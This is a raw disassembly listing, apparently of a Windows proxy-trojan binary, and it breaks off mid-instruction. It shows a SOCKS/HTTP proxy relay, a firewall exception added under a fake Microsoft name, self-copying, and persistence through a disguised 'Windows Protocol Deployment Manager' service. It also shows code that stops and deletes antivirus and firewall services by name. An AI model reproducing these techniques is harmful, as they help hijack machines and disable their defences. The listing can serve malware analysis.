[ebp+1F50h+var_1F74], 0 xor eax, eax loc_40280E: ; CODE XREF: sub_402040+892j mov [ebp+1F50h+var_1F70], eax cmp eax, 32h jnb loc_4028BA mov esi, eax shl esi, 4 sub esi, eax add esi, esi add esi, esi cmp dword_411EA8[esi], 0 jnz loc_4028CF lea edi, dword_411EA0[esi] movzx ecx, cx push ecx push ebx push edi call sub_4014F0 add esp, 0Ch test eax, eax jz short loc_402877 mov esi, [ebp+1F50h+var_1F6C] mov edx, esi shl edx, 4 sub edx, esi lea eax, ds:411EA0h[edx*4] push eax call sub_401A80 add esp, 4 mov [ebp+1F50h+var_1F74], 1 mov edx, esi shl edx, 4 sub edx, esi jmp loc_4023DA ; --------------------------------------------------------------------------- loc_402877: ; CODE XREF: sub_402040+808j mov dword ptr [edi], 2 push 0 call sub_4067A5 mov dword_411EB4[esi], eax push 0 call sub_4067A5 add esp, 8 mov dword_411EB8[esi], eax mov ecx, [ebp+1F50h+var_1F6C] mov eax, ecx shl eax, 4 sub eax, ecx add eax, eax add eax, eax lea ecx, dword_411EA0[eax] mov dword_411ED8[esi], ecx mov dword_411ED8[eax], edi loc_4028BA: ; CODE XREF: sub_402040+7D4j cmp [ebp+1F50h+var_1F74], 0 jz short loc_4028D7 mov esi, [ebp+1F50h+var_1F6C] mov edx, esi shl edx, 4 sub edx, esi jmp loc_4023DA ; --------------------------------------------------------------------------- loc_4028CF: ; CODE XREF: sub_402040+7ECj add eax, 1 jmp loc_40280E ; --------------------------------------------------------------------------- loc_4028D7: ; CODE XREF: sub_402040+87Ej mov eax, [ebp+1F50h+var_1F6C] mov esi, eax shl esi, 4 sub esi, eax add esi, esi add esi, esi lea edi, dword_411EA0[esi] mov dword ptr [edi], 29Ah mov dword_411EA4[esi], 3 mov al, byte ptr [ebp+1F50h+var_CC0] mov ebx, [ebp+1F50h+var_1F6C] loc_402904: ; CODE XREF: sub_402040+629j cmp al, 5 jnz short loc_40293D mov byte ptr [ebp+1F50h+var_CC0], al mov byte ptr [ebp+1F50h+var_CC0+1], 0 push 2 lea ecx, [ebp+1F50h+var_CC0] push ecx push edi call sub_401840 add esp, 0Ch mov dword ptr [edi], 0Bh mov dword_411EA4[esi], 5 mov al, byte ptr [ebp+1F50h+var_CC0] loc_40293D: ; CODE XREF: sub_402040+8C6j cmp al, 4 jnz loc_402E18 mov dl, byte ptr [ebp+1F50h+var_CC0+2] mov byte ptr [ebp+1F50h+var_1F7C+1], dl mov al, byte ptr [ebp+1F50h+var_CC0+3] mov byte ptr [ebp+1F50h+var_1F7C], al push 100h push 0 lea ecx, [ebp+1F50h+var_104] push ecx call sub_403FE0 movzx edx, byte ptr [ebp+1F50h+var_CBC+3] push edx movzx eax, byte ptr [ebp+1F50h+var_CBC+2] push eax movzx ecx, byte ptr [ebp+1F50h+var_CBC+1] push ecx movzx edx, byte ptr [ebp+1F50h+var_CBC] push edx push offset aD_D_D_D ; "%d.%d.%d.%d" lea eax, [ebp+1F50h+var_104] push eax call sub_4041B4 add esp, 24h xor eax, eax loc_4029A0: ; CODE XREF: sub_402040+A06j mov [ebp+1F50h+var_1F70], eax cmp eax, 32h jnb short loc_402A18 mov esi, eax shl esi, 4 sub esi, eax add esi, esi add esi, esi cmp dword_411EA8[esi], 0 jnz loc_402A43 lea edi, dword_411EA0[esi] movzx ecx, word ptr [ebp+1F50h+var_1F7C] push ecx lea edx, [ebp+1F50h+var_104] push edx push edi call sub_4014F0 mov dword ptr [edi], 2 push 0 call sub_4067A5 mov dword_411EB4[esi], eax push 0 call sub_4067A5 add esp, 14h mov dword_411EB8[esi], eax mov eax, ebx shl eax, 4 sub eax, ebx add eax, eax add eax, eax lea ecx, dword_411EA0[eax] mov dword_411ED8[esi], ecx mov dword_411ED8[eax], edi loc_402A18: ; CODE XREF: sub_402040+966j mov eax, ebx shl eax, 4 sub eax, ebx add eax, eax add eax, eax mov dword_411EA0[eax], 29Ah mov dword_411EA4[eax], 4 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_402A43: ; CODE XREF: sub_402040+97Aj add eax, 1 jmp loc_4029A0 ; --------------------------------------------------------------------------- loc_402A4B: ; CODE XREF: sub_402040+30Aj ; sub_402040+325j cmp dword ptr [edi], 0Bh jnz loc_402BD7 lea edx, [ebp+1F50h+var_20A0] push edx mov eax, dword_411EA8[esi] push eax call sub_403A0C ; __WSAFDIsSet test eax, eax jz loc_402BD7 push 0BB8h lea ecx, [ebp+1F50h+var_CC0] push ecx push edi call sub_401A10 add esp, 0Ch test eax, eax jz short loc_402A9D push edi call sub_401A80 add esp, 4 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_402A9D: ; CODE XREF: sub_402040+A46j push 100h push 0 lea edx, [ebp+1F50h+var_104] push edx call sub_403FE0 add esp, 0Ch mov al, byte ptr [ebp+1F50h+var_CC0+3] cmp al, 1 jnz short loc_402B05 movzx eax, byte ptr [ebp+1F50h+var_CBC+3] push eax movzx ecx, byte ptr [ebp+1F50h+var_CBC+2] push ecx movzx edx, byte ptr [ebp+1F50h+var_CBC+1] push edx movzx eax, byte ptr [ebp+1F50h+var_CBC] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" lea ecx, [ebp+1F50h+var_104] push ecx call sub_4041B4 add esp, 18h mov dl, [ebp+1F50h+var_CB8] mov byte ptr [ebp+1F50h+var_1F7C+1], dl mov al, [ebp+1F50h+var_CB7] mov byte ptr [ebp+1F50h+var_1F7C], al jmp short loc_402B3B ; --------------------------------------------------------------------------- loc_402B05: ; CODE XREF: sub_402040+A7Bj cmp al, 3 jnz short loc_402B3B movzx esi, byte ptr [ebp+1F50h+var_CBC] push esi lea ecx, [ebp+1F50h+var_CBC+1] push ecx lea edx, [ebp+1F50h+var_104] push edx call sub_403BE0 add esp, 0Ch mov al, byte ptr [ebp+esi+1F50h+var_CBC+1] mov byte ptr [ebp+1F50h+var_1F7C+1], al mov cl, byte ptr [ebp+esi+1F50h+var_CBC+2] mov byte ptr [ebp+1F50h+var_1F7C], cl loc_402B3B: ; CODE XREF: sub_402040+AC3j ; sub_402040+AC7j xor eax, eax loc_402B3D: ; CODE XREF: sub_402040+B92j mov [ebp+1F50h+var_1F70], eax cmp eax, 32h jnb short loc_402BB1 mov esi, eax shl esi, 4 sub esi, eax add esi, esi add esi, esi cmp dword_411EA8[esi], 0 jnz short loc_402BCF lea edi, dword_411EA0[esi] movzx edx, word ptr [ebp+1F50h+var_1F7C] push edx lea eax, [ebp+1F50h+var_104] push eax push edi call sub_4014F0 mov dword ptr [edi], 2 push 0 call sub_4067A5 mov dword_411EB4[esi], eax push 0 call sub_4067A5 add esp, 14h mov dword_411EB8[esi], eax mov eax, ebx shl eax, 4 sub eax, ebx add eax, eax add eax, eax lea ecx, dword_411EA0[eax] mov dword_411ED8[esi], ecx mov dword_411ED8[eax], edi loc_402BB1: ; CODE XREF: sub_402040+B03j mov edx, ebx shl edx, 4 sub edx, ebx mov dword_411EA0[edx*4], 29Ah add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_402BCF: ; CODE XREF: sub_402040+B17j add eax, 1 jmp loc_402B3D ; --------------------------------------------------------------------------- loc_402BD7: ; CODE XREF: sub_402040+A0Ej ; sub_402040+A29j cmp dword ptr [edi], 2 jnz loc_402D88 push 0 call sub_4067A5 add esp, 4 sub eax, dword_411EB4[esi] cmp eax, 1 jb loc_402D88 push edi call sub_401470 mov ebx, eax mov [ebp+1F50h+var_1F70], ebx push 0 call sub_4067A5 add esp, 8 mov dword_411EB4[esi], eax cmp ebx, 2 jz loc_402CF8 push 0 call sub_4067A5 add esp, 4 sub eax, dword_411EB8[esi] cmp eax, 1Eh jnb loc_402CF8 test ebx, ebx jnz loc_402E18 xor eax, eax mov [ebp+1F50h+var_CC0], eax mov [ebp+1F50h+var_CBC], eax mov [ebp+1F50h+var_CB8], al mov eax, dword_411ED8[esi] mov ecx, [eax+4] cmp ecx, 4 jnz short loc_402C73 mov byte ptr [ebp+1F50h+var_CC0+1], 5Ah push 8 lea ecx, [ebp+1F50h+var_CC0] push ecx push eax jmp short loc_402CD2 ; --------------------------------------------------------------------------- loc_402C73: ; CODE XREF: sub_402040+C1Ej cmp ecx, 3 jnz short loc_402C88 push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\nPr"... push eax call sub_401960 add esp, 8 jmp short loc_402CDA ; --------------------------------------------------------------------------- loc_402C88: ; CODE XREF: sub_402040+C36j cmp ecx, 5 jnz short loc_402CB4 mov byte ptr [ebp+1F50h+var_CC0], cl mov byte ptr [ebp+1F50h+var_CC0+1], 0 mov byte ptr [ebp+1F50h+var_CC0+2], 0 mov byte ptr [ebp+1F50h+var_CC0+3], 1 push 9 lea edx, [ebp+1F50h+var_CC0] push edx push eax jmp short loc_402CD2 ; --------------------------------------------------------------------------- loc_402CB4: ; CODE XREF: sub_402040+C4Bj cmp ecx, 6 jnz short loc_402CDA mov edx, dword_411EC0[esi] mov eax, edx lea ebx, [eax+1] loc_402CC4: ; CODE XREF: sub_402040+C8Bj mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402CC4 sub eax, ebx push eax push edx push edi loc_402CD2: ; CODE XREF: sub_402040+C31j ; sub_402040+C72j call sub_401840 add esp, 0Ch loc_402CDA: ; CODE XREF: sub_402040+C46j ; sub_402040+C77j mov dword ptr [edi], 3 mov eax, dword_411ED8[esi] mov dword ptr [eax], 3 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_402CF8: ; CODE XREF: sub_402040+BD7j ; sub_402040+BF0j xor eax, eax mov [ebp+1F50h+var_CC0], eax mov [ebp+1F50h+var_CBC], eax mov [ebp+1F50h+var_CB8], al mov eax, dword_411ED8[esi] mov ecx, [eax+4] cmp ecx, 4 jnz short loc_402D2C mov byte ptr [ebp+1F50h+var_CC0+1], 5Bh push 8 lea ecx, [ebp+1F50h+var_CC0] push ecx jmp short loc_402D73 ; --------------------------------------------------------------------------- loc_402D2C: ; CODE XREF: sub_402040+CD8j cmp ecx, 3 jnz short loc_402D4B push offset aHttp1_0201Unab ; "HTTP/1.0 201 Unable to connect\r\nProxy-a"... push eax call sub_401960 add esp, 8 mov eax, dword_411ED8[esi] push eax jmp loc_402E0A ; --------------------------------------------------------------------------- loc_402D4B: ; CODE XREF: sub_402040+CEFj cmp ecx, 5 jnz short loc_402D7C mov byte ptr [ebp+1F50h+var_CC0], cl mov byte ptr [ebp+1F50h+var_CC0+1], cl mov byte ptr [ebp+1F50h+var_CC0+2], 0 mov byte ptr [ebp+1F50h+var_CC0+3], 1 push 9 lea edx, [ebp+1F50h+var_CC0] push edx loc_402D73: ; CODE XREF: sub_402040+CEAj push eax call sub_401840 add esp, 0Ch loc_402D7C: ; CODE XREF: sub_402040+D0Ej mov eax, dword_411ED8[esi] push eax jmp loc_402E0A ; --------------------------------------------------------------------------- loc_402D88: ; CODE XREF: sub_402040+B9Aj ; sub_402040+BB3j mov eax, dword_411ED8[esi] test eax, eax jz loc_402E18 cmp dword ptr [eax+1Ch], 0 jnz short loc_402E18 mov eax, [edi] cmp eax, 3 jz short loc_402DAA cmp eax, 29Ah jnz short loc_402E18 loc_402DAA: ; CODE XREF: sub_402040+D61j lea ecx, [ebp+1F50h+var_20A0] push ecx mov edx, dword_411EA8[esi] push edx call sub_403A0C ; __WSAFDIsSet test eax, eax jz short loc_402E18 push 0BB8h lea eax, [ebp+1F50h+var_CC0] push eax push edi call sub_401A10 add esp, 0Ch test eax, eax jnz short loc_402E03 mov ecx, dword_411EB0[esi] push ecx lea edx, [ebp+1F50h+var_CC0] push edx mov eax, dword_411ED8[esi] push eax call sub_401840 add esp, 0Ch add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_402E03: ; CODE XREF: sub_402040+D98j mov ecx, dword_411ED8[esi] push ecx loc_402E0A: ; CODE XREF: sub_402040+D06j ; sub_402040+D43j call sub_401A80 push edi call sub_401A80 add esp, 8 loc_402E18: ; CODE XREF: sub_402040+24Bj ; sub_402040+8FFj ... add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 sub_402040 endp ; --------------------------------------------------------------------------- mov edx, [ebp-14h] push edx call loc_401F70 mov esp, [ebp-18h] mov dword ptr [ebp-4], 0FFFFFFFEh mov ecx, [ebp-10h] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [ebp+1F4Ch] xor ecx, ebp call sub_403F45 add ebp, 1F50h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402E60 proc near ; CODE XREF: seg001:004037EAp ; seg001:00403896p var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_108 = byte ptr -108h var_4 = dword ptr -4 sub esp, 20Ch mov eax, dword_410440 xor eax, esp mov [esp+20Ch+var_4], eax lea eax, [esp+20Ch+var_20C] push eax push 20006h push 0 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call dword_40D038 ; RegOpenKeyExA test eax, eax jnz short loc_402EFD push 104h lea ecx, [esp+210h+var_108] push ecx push eax call dword_40D0E0 ; GetModuleFileNameA push offset aMicrosoftRWind ; "Microsoft (R) Windows Protocol Deployme"... lea edx, [esp+210h+var_108] push edx push offset aSEnabledS ; "%s:*:Enabled:%s" lea eax, [esp+218h+var_208] push 100h push eax call sub_40481B lea eax, [esp+220h+var_208] add esp, 14h lea edx, [eax+1] loc_402ED2: ; CODE XREF: sub_402E60+79j mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402ED2 sub eax, edx add eax, 1 push eax mov eax, [esp+210h+var_20C] lea ecx, [esp+210h+var_208] push ecx push 1 push 0 lea edx, [esp+21Ch+var_108] push edx push eax call dword_40D03C ; RegSetValueExA loc_402EFD: ; CODE XREF: sub_402E60+31j mov ecx, [esp+20Ch+var_20C] push ecx call dword_40D040 ; RegCloseKey mov ecx, [esp+20Ch+var_4] xor ecx, esp call sub_403F45 add esp, 20Ch retn sub_402E60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402F20 proc near ; CODE XREF: sub_4038C0+83p var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_244 = word ptr -244h var_224 = byte ptr -224h var_220 = word ptr -220h var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 260h mov eax, dword_410440 xor eax, esp mov [esp+260h+var_4], eax push esi mov esi, [esp+264h+arg_0] push edi mov edi, [esp+268h+arg_4] push 104h lea eax, [esp+26Ch+var_108] push eax push 0 call dword_40D0E0 ; GetModuleFileNameA push edi push esi push offset aSS ; "%s\\%s" lea ecx, [esp+274h+var_20C] push 104h push ecx call sub_40481B add esp, 14h push esi call dword_40D0C0 ; SetCurrentDirectoryA test eax, eax jnz short loc_402F85 push eax push esi call dword_40D0C4 ; CreateDirectoryA loc_402F85: ; CODE XREF: sub_402F20+5Bj push 0 lea edx, [esp+26Ch+var_20C] push edx lea eax, [esp+270h+var_108] push eax call dword_40D0C8 ; CopyFileA xor eax, eax push 44h push eax lea ecx, [esp+270h+var_250] push ecx mov [esp+274h+var_260], eax mov [esp+274h+var_25C], eax mov [esp+274h+var_258], eax mov [esp+274h+var_254], eax call sub_403FE0 add esp, 0Ch lea edx, [esp+268h+var_260] push edx lea eax, [esp+26Ch+var_250] push eax push esi push 0 push 28h push 1 push 0 push 0 push 0 lea ecx, [esp+28Ch+var_20C] push ecx mov dword ptr [esp+290h+var_244], 0 mov [esp+290h+var_250], 44h mov dword ptr [esp+290h+var_224], 1 mov [esp+290h+var_220], 0 call dword_40D0CC ; CreateProcessA test eax, eax jz short loc_403020 mov edx, [esp+268h+var_260] mov esi, dword_40D0D0 push edx call esi ; CloseHandle mov eax, [esp+268h+var_25C] push eax call esi ; CloseHandle push 0 call dword_40D0D4 ; ExitProcess loc_403020: ; CODE XREF: sub_402F20+E2j mov ecx, [esp+268h+var_4] pop edi pop esi xor ecx, esp call sub_403F45 add esp, 260h retn sub_402F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403040 proc near ; CODE XREF: sub_403150+DEp ; seg001:004032C7p ... var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_220 = dword ptr -220h var_100 = byte ptr -100h var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 234h mov eax, dword_410440 xor eax, esp mov [esp+234h+var_4], eax mov eax, [esp+234h+arg_0] push ebx push ebp push 0 push 2 mov [esp+244h+var_234], eax mov [esp+244h+var_230], 128h call sub_4039FA ; CreateToolhelp32Snapshot mov ebx, dword_40D0D0 mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_403127 lea ecx, [esp+23Ch+var_230] push ecx push ebp call sub_4039F4 ; Process32First test eax, eax jz loc_403127 push esi push edi mov edi, dword_40D0AC mov edi, edi loc_4030A0: ; CODE XREF: sub_403040+DFj mov edx, [esp+244h+var_228] push edx push 0 push 410h call edi ; OpenProcess mov esi, eax test esi, esi jz short loc_40310F push 104h lea eax, [esp+240h+var_100] push eax push 0 push esi call sub_403A72 mov ecx, [esp+23Ch+var_22C] push ecx lea edx, [esp+240h+var_100] push edx call sub_404A52 add esp, 8 test eax, eax jnz short loc_40310F push esi call ebx ; CloseHandle mov eax, [esp+23Ch+var_220] push eax push 0 push 100001h call edi ; OpenProcess mov esi, eax test esi, esi jz short loc_40310F push 0 push esi call dword_40D0B0 ; TerminateProcess test eax, eax jz short loc_40310F push 0FFFFFFFFh push esi call dword_40D0B4 ; WaitForSingleObject loc_40310F: ; CODE XREF: sub_403040+72j ; sub_403040+A0j ... push esi call ebx ; CloseHandle lea ecx, [esp+23Ch+var_228] push ecx push ebp call sub_4039EE ; Process32Next test eax, eax jnz loc_4030A0 pop edi pop esi loc_403127: ; CODE XREF: sub_403040+3Dj ; sub_403040+50j push ebp call ebx ; CloseHandle mov edx, [esp+23Ch+var_234] push edx call dword_40D0BC ; DeleteFileA mov ecx, [esp+23Ch+var_4] pop ebp pop ebx xor ecx, esp call sub_403F45 add esp, 234h retn sub_403040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403150 proc near ; CODE XREF: sub_403150+B2p var_34C = byte ptr -34Ch var_320 = byte ptr -320h var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 34Ch mov eax, dword_410440 xor eax, esp mov [esp+34Ch+var_4], eax push ebp push esi mov esi, [esp+354h+arg_0] push edi push esi push offset aS ; "%s\\*" lea eax, [esp+360h+var_108] push 104h push eax xor ebp, ebp call sub_40481B add esp, 10h lea ecx, [esp+358h+var_34C] push ecx lea edx, [esp+35Ch+var_108] push edx call dword_40D05C ; FindFirstFileA mov edi, eax test edi, edi jz loc_40324B lea eax, [esp+358h+var_34C] push eax push edi call dword_40D058 ; FindNextFileA test eax, eax jz loc_40324B push ebx mov ebx, dword_40D054 loc_4031C3: ; CODE XREF: sub_403150+F4j add ebp, 1 cmp ebp, 1 jle short loc_403236 lea ecx, [esp+35Ch+var_320] push ecx push esi push offset aSS_0 ; "%s\\%s" lea edx, [esp+368h+var_20C] push 104h push edx call sub_40481B add esp, 14h lea eax, [esp+35Ch+var_20C] push eax call ebx ; GetFileAttributesA cmp eax, 10h jnz short loc_403209 lea ecx, [esp+35Ch+var_20C] push ecx call sub_403150 jmp short loc_403233 ; --------------------------------------------------------------------------- loc_403209: ; CODE XREF: sub_403150+A8j lea edx, [esp+35Ch+var_20C] push edx call dword_40D0BC ; DeleteFileA test eax, eax jnz short loc_403236 call dword_40D050 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_403236 lea eax, [esp+35Ch+var_20C] push eax call sub_403040 loc_403233: ; CODE XREF: sub_403150+B7j add esp, 4 loc_403236: ; CODE XREF: sub_403150+79j ; sub_403150+C9j ... lea ecx, [esp+35Ch+var_34C] push ecx push edi call dword_40D058 ; FindNextFileA test eax, eax jnz loc_4031C3 pop ebx loc_40324B: ; CODE XREF: sub_403150+52j ; sub_403150+66j push edi call dword_40D04C ; FindClose push esi call dword_40D07C ; RemoveDirectoryA mov ecx, [esp+358h+var_4] pop edi pop esi pop ebp xor ecx, esp call sub_403F45 add esp, 34Ch retn sub_403150 endp ; --------------------------------------------------------------------------- align 10h sub esp, 20Ch mov eax, dword_410440 xor eax, esp mov [esp+208h], eax push 104h lea eax, [esp+4] push eax call dword_40D060 ; GetWindowsDirectoryA lea ecx, [esp] push ecx push offset aSWinsockServic ; "%s\\winsock\\services.exe" lea edx, [esp+10Ch] push 104h push edx call sub_40481B lea eax, [esp+114h] push eax call sub_403040 mov ecx, [esp+21Ch] add esp, 14h xor ecx, esp call sub_403F45 add esp, 20Ch retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4032F0 proc near ; CODE XREF: sub_4036D0+5p ; sub_4036D0+Fp ... arg_0 = dword ptr 4 push ebx push ebp push 0F003Fh push 0 push 0 call dword_40D01C ; OpenSCManagerA mov ebp, dword_40D020 mov ebx, eax test ebx, ebx jz short loc_40338C mov eax, [esp+8+arg_0] push esi push 10023h push eax push ebx call dword_40D024 ; OpenServiceA mov esi, eax test esi, esi jz short loc_403388 push edi push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0FFFFFFFFh push 4 push 0FFFFFFFFh push esi call dword_40D028 ; ChangeServiceConfigA push 0 push 1 push esi call dword_40D02C ; ControlService push esi call dword_40D030 ; DeleteService push 1000h push 40h call dword_40D068 ; LocalAlloc push 0 push 1000h mov edi, eax push edi push esi call dword_40D034 ; QueryServiceConfigA cmp eax, 1 jnz short loc_403380 mov ecx, [edi+0Ch] push ecx call dword_40D0BC ; DeleteFileA loc_403380: ; CODE XREF: sub_4032F0+84j push edi call dword_40D064 ; LocalFree pop edi loc_403388: ; CODE XREF: sub_4032F0+33j push esi call ebp ; CloseServiceHandle pop esi loc_40338C: ; CODE XREF: sub_4032F0+1Bj push ebx call ebp ; CloseServiceHandle pop ebp pop ebx retn sub_4032F0 endp ; --------------------------------------------------------------------------- align 10h sub esp, 110h mov eax, dword_410440 xor eax, esp mov [esp+10Ch], eax mov ecx, [esp+118h] mov eax, [esp+114h] push esi mov esi, [esp+120h] lea edx, [esp+4] push edx push 0F003Fh push 0 push ecx push eax mov dword ptr [esp+1Ch], 104h call dword_40D038 ; RegOpenKeyExA test eax, eax jnz short loc_403421 mov edx, [esp+4] lea eax, [esp+8] push eax lea ecx, [esp+10h] push ecx push 0 push 0 push esi push edx call dword_40D014 ; RegQueryValueExA test eax, eax jnz short loc_403421 mov eax, [esp+4] push esi push eax call dword_40D018 ; RegDeleteValueA lea ecx, [esp+0Ch] push ecx call sub_403040 add esp, 4 loc_403421: ; CODE XREF: seg001:004033E8j ; seg001:00403406j mov edx, [esp+4] push edx call dword_40D040 ; RegCloseKey mov ecx, [esp+110h] pop esi xor ecx, esp call sub_403F45 add esp, 110h retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403450 proc near ; CODE XREF: sub_4038C0+100p arg_0 = dword ptr 4 push ebx push edi push 10000000h push 0 push 0 call dword_40D01C ; OpenSCManagerA mov ebx, dword_40D020 mov edi, eax test edi, edi jz short loc_4034AC mov eax, [esp+8+arg_0] push esi push 12h push eax push edi call dword_40D024 ; OpenServiceA mov esi, eax test esi, esi jz short loc_4034A8 push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0FFFFFFFFh push 2 push 0FFFFFFFFh push esi call dword_40D028 ; ChangeServiceConfigA push 0 push 0 push esi call dword_40D010 ; StartServiceA loc_4034A8: ; CODE XREF: sub_403450+30j push esi call ebx ; CloseServiceHandle pop esi loc_4034AC: ; CODE XREF: sub_403450+1Bj push edi call ebx ; CloseServiceHandle pop edi pop ebx retn sub_403450 endp ; --------------------------------------------------------------------------- align 10h push ebx push ebp push 0F003Fh push 0 push 0 call dword_40D01C ; OpenSCManagerA mov ebp, dword_40D020 mov ebx, eax test ebx, ebx jz short loc_40352F push esi push edi mov edi, [esp+14h] push 22h push edi push ebx call dword_40D024 ; OpenServiceA mov esi, eax test esi, esi jz short loc_40352A push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0FFFFFFFFh push 4 push 0FFFFFFFFh push esi call dword_40D028 ; ChangeServiceConfigA push offset aWinsock ; "winsock" push edi call sub_404AB0 add esp, 8 test eax, eax jnz short loc_40352A push eax push 1 push esi call dword_40D02C ; ControlService loc_40352A: ; CODE XREF: seg001:004034F1j ; seg001:0040351Ej push esi call ebp ; CloseServiceHandle pop edi pop esi loc_40352F: ; CODE XREF: seg001:004034DBj push ebx call ebp ; CloseServiceHandle pop ebp pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403540 proc near ; CODE XREF: sub_4038C0+10Cp var_22C = dword ptr -22Ch var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 22Ch mov eax, dword_410440 xor eax, esp mov [esp+22Ch+var_4], eax push ebx push ebp push esi mov esi, [esp+238h+arg_0] push edi push 40000000h xor ebp, ebp push ebp push ebp xor ebx, ebx call dword_40D01C ; OpenSCManagerA mov edi, eax cmp edi, ebp jz loc_40362E push 104h lea eax, [esp+240h+var_108] push eax push ebp call dword_40D0E0 ; GetModuleFileNameA push ebp push ebp push ebp push ebp push ebp lea ecx, [esp+250h+var_108] push ecx push ebp push 2 push 10h push 10000000h push offset aWindowsProtoco ; "Windows Protocol Deployment Manager" push esi push edi call dword_40D008 ; CreateServiceA mov esi, eax cmp esi, ebp jz short loc_403627 mov ebx, dword_40D00C mov eax, 1 mov [esp+23Ch+var_224], eax mov [esp+23Ch+var_210], eax lea eax, [esp+23Ch+var_21C] push eax push 2 lea edx, [esp+244h+var_224] push esi mov [esp+248h+var_220], ebp mov [esp+248h+var_21C], ebp mov [esp+248h+var_218], ebp mov [esp+248h+var_214], ebp mov [esp+248h+var_20C], edx call ebx ; ChangeServiceConfig2A push 100h push offset aProvidesImplem ; "Provides implementation support for thi"... lea ecx, [esp+244h+var_208] push ecx call dword_40D06C ; lstrcpyn lea eax, [esp+23Ch+var_22C] push eax push 1 lea edx, [esp+244h+var_208] push esi mov [esp+248h+var_22C], edx call ebx ; ChangeServiceConfig2A push ebp push ebp push esi call dword_40D010 ; StartServiceA cmp eax, 1 lea ebx, [ebp+1] jz short loc_403627 mov ebx, ebp loc_403627: ; CODE XREF: sub_403540+76j ; sub_403540+E3j push esi call dword_40D020 ; CloseServiceHandle loc_40362E: ; CODE XREF: sub_403540+34j push edi call dword_40D020 ; CloseServiceHandle mov ecx, [esp+23Ch+var_4] pop edi pop esi pop ebp mov eax, ebx pop ebx xor ecx, esp call sub_403F45 add esp, 22Ch retn sub_403540 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push 0F003Fh xor edi, edi push edi push edi call dword_40D01C ; OpenSCManagerA mov ebx, dword_40D020 mov esi, eax test esi, esi jz short loc_40368B mov eax, [esp+10h] push 80000000h push eax push esi call dword_40D024 ; OpenServiceA test eax, eax jz short loc_403688 mov edi, 1 loc_403688: ; CODE XREF: seg001:00403681j push eax call ebx ; CloseServiceHandle loc_40368B: ; CODE XREF: seg001:0040366Cj push esi call ebx ; CloseServiceHandle mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h loc_4036A0: ; DATA XREF: seg001:00403803o mov eax, [esp+4] sub eax, 1 jz short loc_4036AE sub eax, 4 jnz short loc_4036C9 loc_4036AE: ; CODE XREF: seg001:004036A7j mov eax, dword_411E9C push offset dword_411E80 push eax mov dword_411E84, 1 call dword_40D004 ; SetServiceStatus loc_4036C9: ; CODE XREF: seg001:004036ACj xor eax, eax retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4036D0 proc near ; CODE XREF: seg001:004037E5p ; seg001:00403891p push offset aCaisafe ; "CAISafe" call sub_4032F0 push offset aUmxcfg ; "UmxCfg" call sub_4032F0 push offset aUmxagent ; "UmxAgent" call sub_4032F0 push offset aKpf4 ; "KPF4" call sub_4032F0 push offset aWebrootfirewal ; "WebrootFirewall" call sub_4032F0 push offset aWinroute ; "WinRoute" call sub_4032F0 push offset aAvgfwsrv ; "AVGFwSrv" call sub_4032F0 push offset aAvg7alrt ; "Avg7Alrt" call sub_4032F0 push offset aOutpostfirewal ; "OutpostFirewall" call sub_4032F0 push offset aLavasoftfirewa ; "LavasoftFirewall" call sub_4032F0 push offset aMpfservice ; "MpfService" call sub_4032F0 push offset aVsmon ; "vsmon" call sub_4032F0 push offset aNpfmntor ; "NPFMntor" call sub_4032F0 push offset aCcevtmgr ; "ccEvtMgr" call sub_4032F0 push offset aCcproxy ; "ccProxy" call sub_4032F0 push offset aCclspwdsvc ; "cclSPwdSvc" call 